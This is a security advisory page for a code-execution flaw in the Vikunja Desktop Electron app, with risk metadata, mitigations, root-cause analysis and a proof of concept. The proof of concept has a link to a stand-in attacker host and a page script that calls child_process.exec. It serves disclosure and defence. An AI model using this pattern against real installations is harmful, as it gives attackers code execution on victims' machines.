CVE-2026-33336: vikunja · Code Injection
Affects vikunjaSource CVE Database V5
Not known to be exploited · CVSS 6.5 Medium : upgrade to 2.2.0 when convenient.
Data as of 30 Oct 2026, 06:59 UTC
- EPSS
- 1.1% chance of exploitation in 30 days – higher than 67% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
- Patch
- Available – fixed in 2.2.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:HExploitation evidence
Disclosed: evidence found.
CVE published 24 Mar 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.
What to do
Upgrade vikunja and github.com/go-vikunja/vikunja to 2.2.0.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| go-vikunjavikunja | Affected
| Fixed in
|
Gogithub.com/go-vikunja/vikunjapkg:golang/github.com/go-vikunja/vikunjaOther threats | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
AI-suggested
- Upgrade Vikunja Desktop to version 2.2.0 or later, where nodeIntegration is disabled or navigation restrictions are implemented.
- If upgrading is not immediately possible, disable nodeIntegration manually in the Electron BrowserWindow configuration to prevent Node.js API access from renderer processes.
- Implement 'will-navigate' and 'will-redirect' event handlers in the Electron app to intercept and block or validate all navigation attempts, especially same-window navigations triggered by user clicks or redirects.
- Restrict or sanitize user-generated content to disallow or neutralize clickable links that could lead to external origins.
- Educate users to avoid clicking suspicious links within the application, especially from untrusted collaborators.
- Employ endpoint protection solutions capable of detecting anomalous process executions initiated by Electron apps.
- Monitor network traffic for unexpected connections to external domains originating from Vikunja Desktop.
- Consider sandboxing or running Vikunja Desktop in restricted environments to limit damage from potential exploitation.
Description
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue. ## Root cause Two misconfigurations combine to create this vulnerability: 1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.). 2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by: - `<a href="https://...">` links (without `target="_blank"`) - `window.location` assignments - HTTP redirects - `<meta http-equiv="refresh">` tags ## Attack scenario 1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>` 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.4. The victim uses Vikunja Desktop and clicks the link.5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');` 7. Arbitrary commands execute as the victim's OS user. ## Impact Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient. ## Proof of concept 1. Set up a Vikunja instance with two users sharing a project.2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>` 3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>` 4. As the victim, open the project in Vikunja Desktop and click the link.5.calc.exe (or any other command) executes on the victim's machine. ## Credits This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).